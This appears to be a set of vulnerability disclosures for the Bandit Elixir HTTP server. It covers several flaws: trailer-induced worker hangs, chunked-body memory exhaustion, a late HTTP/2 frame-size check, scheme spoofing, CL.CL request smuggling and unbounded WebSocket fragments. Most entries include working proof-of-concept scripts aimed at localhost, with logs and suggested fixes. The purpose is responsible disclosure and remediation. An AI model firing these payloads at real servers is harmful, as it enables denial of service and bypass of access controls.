PoC

A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:

• one 5-byte chunk "hello"
• the last-chunk marker 0\r\n
• one trailer field X-Trailer: 1\r\n
• the terminating \r\n

The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gen_tcp.recv/3 times out after 10 seconds because the worker is stuck spinning in do_read_chunked_data!/5.

Steps to reproduce:

1. elixir script.exs
2. Observe the TIMEOUT — worker is pinned in do_read_chunked_data!/5 log line.
3. Each additional concurrent client sending the same request consumes one more worker process.

Impact

Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.

Script and Logs

# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.
#
# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates
# only when the last-chunk line `0\r\n` is followed *immediately* by the
# empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between
# them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the
# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`
# (negative), calls read_available!/2, gets <<>> on timeout, and recurses
# with the same buffer forever — pinning the worker for the connection's
# lifetime. The line 245 comment ("We should be reading (and ignoring)
# trailers here") acknowledges the gap.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST
# whose body ends with a single trailer field, and waits for a response.
# A correct server replies in milliseconds; the buggy decoder never does.
#
# Run: elixir script.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule EchoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    {:ok, body, conn} = Plug.Conn.read_body(conn)
    Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes")
  end
end

defmodule TrailerHang do
  @port 4321
  @recv_timeout_ms 10_000

  def run do
    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    request = build_chunked_request_with_trailer()
    log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.")
    :ok = :gen_tcp.send(sock, request)

    log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…")
    started_at = System.monotonic_time(:millisecond)

    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do
      {:ok, response} ->
        elapsed = System.monotonic_time(:millisecond) - started_at
        log("Got response after #{elapsed}ms — server handles trailers correctly:")
        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))

      {:error, :timeout} ->
        log("TIMEOUT — worker is pinned in do_read_chunked_data!/5.")
        log("Each concurrent client sending this shape consumes one Bandit worker.")

      {:error, reason} ->
        log("Connection error: #{inspect(reason)}")
    end

    :gen_tcp.close(sock)
  end

  # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer
  # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies
  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing
  # responses or requests.
  defp build_chunked_request_with_trailer do
    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Transfer-Encoding: chunked\r\n" <>
      "Trailer: X-Trailer\r\n" <>
      "Content-Type: application/octet-stream\r\n" <>
      "\r\n" <>
      "5\r\nhello\r\n" <>
      "0\r\n" <>
      "X-Trailer: 1\r\n" <>
      "\r\n"
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

TrailerHang.run()

12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`.
[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…
[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.
[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.

Summary

Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.

Details

In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.

The content-length sibling at :210 does the right thing:

max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))

Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.

Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.

PoC

Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.

Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])

defmodule DemoApp do
  use Plug.Builder

  # The `length` option here is ignored by the attack
  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
  plug :respond

  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end

{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)

# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"

{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])

:ok =
  :gen_tcp.send(sock, """
  POST / HTTP/1.1\r
  Host: 127.0.0.1\r
  Transfer-Encoding: chunked\r
  Content-Type: application/json\r
  Connection: close\r
  \r
  """)

Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")

IO.inspect(:gen_tcp.recv(sock, 0, 120_000))

Impact

Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.

Summary

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself.
2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB).
3. Polls for GOAWAY(FRAME_SIZE_ERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated max_frame_size should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > max_frame_size as soon as the 9 header bytes arrive, before the body-bearing clauses.

# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received —
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header — the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.")

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
        "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code} — patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip…")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
        "Server is buffering an oversized frame body well past max_frame_size."
    )

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
      :ok ->
        new_total = total_sent + @drip_chunk_size

        case poll_for_reaction(sock, 50) do
          {:goaway, error_code} ->
            log(
              "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server " <>
                "sent GOAWAY: error_code=#{error_code}."
            )

            finish(sock)

          :silent ->
            if rem(new_total, 512 * 1024) == 0 do
              log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
            end

            drip_loop(sock, new_total)
        end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
    end
  end

  defp poll_for_reaction(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 9, timeout_ms) do
      {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
        case recv_payload(sock, length, timeout_ms) do
          {:ok, payload} when type == @type_goaway ->
            <<_last_id::32, error_code::32, _debug::binary>> = payload
            {:goaway, error_code}

          {:ok, _} ->
            :silent

          {:error, _} ->
            :silent
        end

      {:error, :timeout} ->
        :silent

      {:error, :closed} ->
        {:goaway, :connection_closed_without_goaway}
    end
  end

  defp finish(sock), do: :gen_tcp.close(sock)

  # --- HTTP/2 handshake helpers ------------------------------------------

  defp handshake!(sock) do
    :ok = :gen_tcp.send(sock, @connection_preface)
    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
    @type_settings = server_settings_frame.type
    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

    _ = drain(sock, 100)
    advertised_max_frame_size
  end

  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
  defp parse_max_frame_size(<<>>, current_value), do: current_value

  defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
    parse_max_frame_size(rest, value)
  end

  defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
    parse_max_frame_size(rest, current)
  end

  defp build_settings_frame(payload, flags \\ 0) do
    frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
  end

  defp frame_header(length, type, flags, stream_id) do
    <<length::24, type::8, flags::8, 0::1, stream_id::31>>
  end

  defp recv_full_frame(sock, timeout_ms) do
    with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
           :gen_tcp.recv(sock, 9, timeout_ms),
         {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}
    end
  end

  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)

  defp drain(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 0, timeout_ms) do
      {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
      {:error, _} -> <<>>
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FrameSizeLateCheck.run()

17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.
[15:23:19.444] Server silent after header. Beginning body drip…
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.

Summary

Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28

Details

The bug is in lib/bandit/pipeline.ex at determine_scheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {_, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.

Two attacker-controlled inputs reach this code path:

• HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1.
• HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determine_scheme/2; the discarding of secure? is deliberate.

Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:

GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close

A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.

Impact

Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

• Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.
• Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them.
• Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
• Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.

Script and Logs

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application — even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
        "Host: 127.0.0.1:#{@port}\r\n" <>
        "Connection: close\r\n" <>
        "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.")
    :ok = :gen_tcp.send(sock, request)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    :gen_tcp.close(sock)

    log("Server response:")
    IO.puts(response)

    cond do
      response =~ "conn.scheme=:https" ->
        log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.")
        log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.")

      response =~ "conn.scheme=:http" ->
        log("Server forced scheme to :http — bug appears patched.")

      true ->
        log("Unexpected response shape.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

SchemeSpoof.run()

12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=:https

[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.

Summary

Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two Content-Length headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like Content-Length, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid Content-Length as an unrecoverable framing error. When Bandit sits behind a proxy that picks the last Content-Length and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.

The vulnerability was introduced prior to v0.1.0 (released Nov 5, 2020) on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af

Details

Bandit.Headers.get_content_length/1 (lib/bandit/headers.ex) calls List.keyfind/3, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (Content-Length: 0, 43) when values differ; the bug is that the multi-line form never reaches that check.

Fix: collect every Content-Length value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.

PoC

The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with Content-Length: 0 followed by Content-Length: 43 and a 43-byte body containing a valid GET /smuggled HTTP/1.1 request line. Run with elixir script.exs

On Bandit 1.10.4 / Elixir 1.18, default config: two 200 OK responses on the same TCP connection. First body method=POST path=/, second body method=GET path=/smuggled. Bandit accepted the malformed request and dispatched the embedded request line as a second request.

Impact

Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.

The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.

Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.

Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.

• Bandit directly on the internet: spec violation, no exploit.
• Bandit behind a major CDN/LB: almost certainly safe.
• Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.

Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.

Script and Logs

# Bandit HTTP/1 duplicate Content-Length first-wins PoC.
#
# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the
# first Content-Length value and silently ignores additional Content-Length
# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error
# and says the recipient MUST treat it as such.
#
# This is the classic CL.CL request-smuggling primitive. If a fronting proxy
# uses the *last* Content-Length while Bandit uses the first (or vice versa),
# the second "request" embedded in the first request's body gets dispatched
# as a new request on the same keep-alive connection - after the proxy has
# already applied its access controls.
#
# Run: elixir scripts/bandit/http1_duplicate_content_length.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule DemoApp do
  @behaviour Plug

  import Plug.Conn

  def init(opts), do: opts

  def call(conn, _opts) do
    send_resp(conn, 200, "method=#{conn.method} path=#{conn.request_path}\n")
  end
end

defmodule Smuggle do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    request = build_smuggling_request()
    log("Sending #{byte_size(request)}-byte CL.CL request:\n#{request}")

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    :ok = :gen_tcp.send(sock, request)

    response = read_all(sock)
    :gen_tcp.close(sock)

    log("Response stream:\n#{response}")
    diagnose(response)
  end

  # POST with two Content-Length headers, plus a smuggled GET line in the
  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)
  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request
  # line either gets parsed as a new request on the keep-alive connection
  # or stays in the buffer.
  defp build_smuggling_request do
    smuggled_request = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
    smuggled_size = byte_size(smuggled_request)

    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1\r\n" <>
      "Content-Length: 0\r\n" <>
      "Content-Length: #{smuggled_size}\r\n" <>
      "\r\n" <>
      smuggled_request
  end

  defp read_all(sock, accumulated \\ "") do
    case :gen_tcp.recv(sock, 0, 2_000) do
      {:ok, bytes} -> read_all(sock, accumulated <> bytes)
      {:error, _reason} -> accumulated
    end
  end

  # Three observable outcomes:
  #   - 400 Bad Request -> RFC-conformant rejection (not what current
  #     Bandit does).
  #   - Two responses, second one for /smuggled -> Bandit dispatched the
  #     smuggled request as a second pipelined request.
  #   - One response -> Bandit accepted Content-Length: 0, the smuggled
  #     bytes sat in the keep-alive buffer; with a CL-last frontend this
  #     becomes a smuggled request on the next request boundary.
  defp diagnose(response) do
    response_lines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]*/m, response) |> List.flatten()
    log("HTTP/1.x response lines observed: #{length(response_lines)}")
    Enum.each(response_lines, fn line -> log("  #{line}") end)

    cond do
      response =~ ~r/^HTTP\/1\.[01] 400/ ->
        log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).")

      response =~ "/smuggled" ->
        log("VULNERABLE: smuggled GET /smuggled was processed as a second request.")

      length(response_lines) == 1 ->
        log("ACCEPTED: Bandit took the first Content-Length (0) and left the")
        log("smuggled request line in the keep-alive buffer. Combined with a")
        log("CL-last frontend this becomes request smuggling.")

      true ->
        log("Inconclusive - see raw response above.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Smuggle.run()

11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[09:52:23.039] Sending 118-byte CL.CL request:
POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Content-Length: 43

GET /smuggled HTTP/1.1
Host: 127.0.0.1


[09:52:25.057] Response stream:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 19
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=POST path=/
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 26
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=GET path=/smuggled

[09:52:25.057] HTTP/1.x response lines observed: 2
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.

Summary

A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every Continuation{fin: false} frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting fin=1) grows BEAM heap linearly until the OS or a supervisor kills the process. max_frame_size only bounds individual frames; there is no max_message_size option available today.

Details

The bug is in lib/bandit/websocket/connection.ex, in the fragment branch of handle_frame/3 (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as [connection.fragment_frame.data | frame.data] with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When fin=1 finally arrives (if ever), IO.iodata_to_binary/1 flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send fin=1 — simply holding the connection open is enough to pin the bytes.

Suggested fix: track a running cumulative byte count on the connection state and add a configurable max_message_size. When exceeded, terminate the connection with RFC 6455 close code 1009 (:max_message_size_exceeded) instead of continuing to append.

PoC

A self-contained reproduction script is below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial WebSock echo handler, completes a WebSocket handshake, sends one text frame with fin=0, then streams up to 4096 continuation frames of 1 MiB each — also fin=0. A background sampler logs :erlang.memory(:total) every 250 ms.

A correctly-fixed server would close the connection with code 1009 once max_message_size is exceeded.

Impact

Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.

Affected by default. No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over WebSock on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at /live. Plug apps that mount any custom WebSock handler are equally affected. Applications that expose no WebSocket endpoints are not.

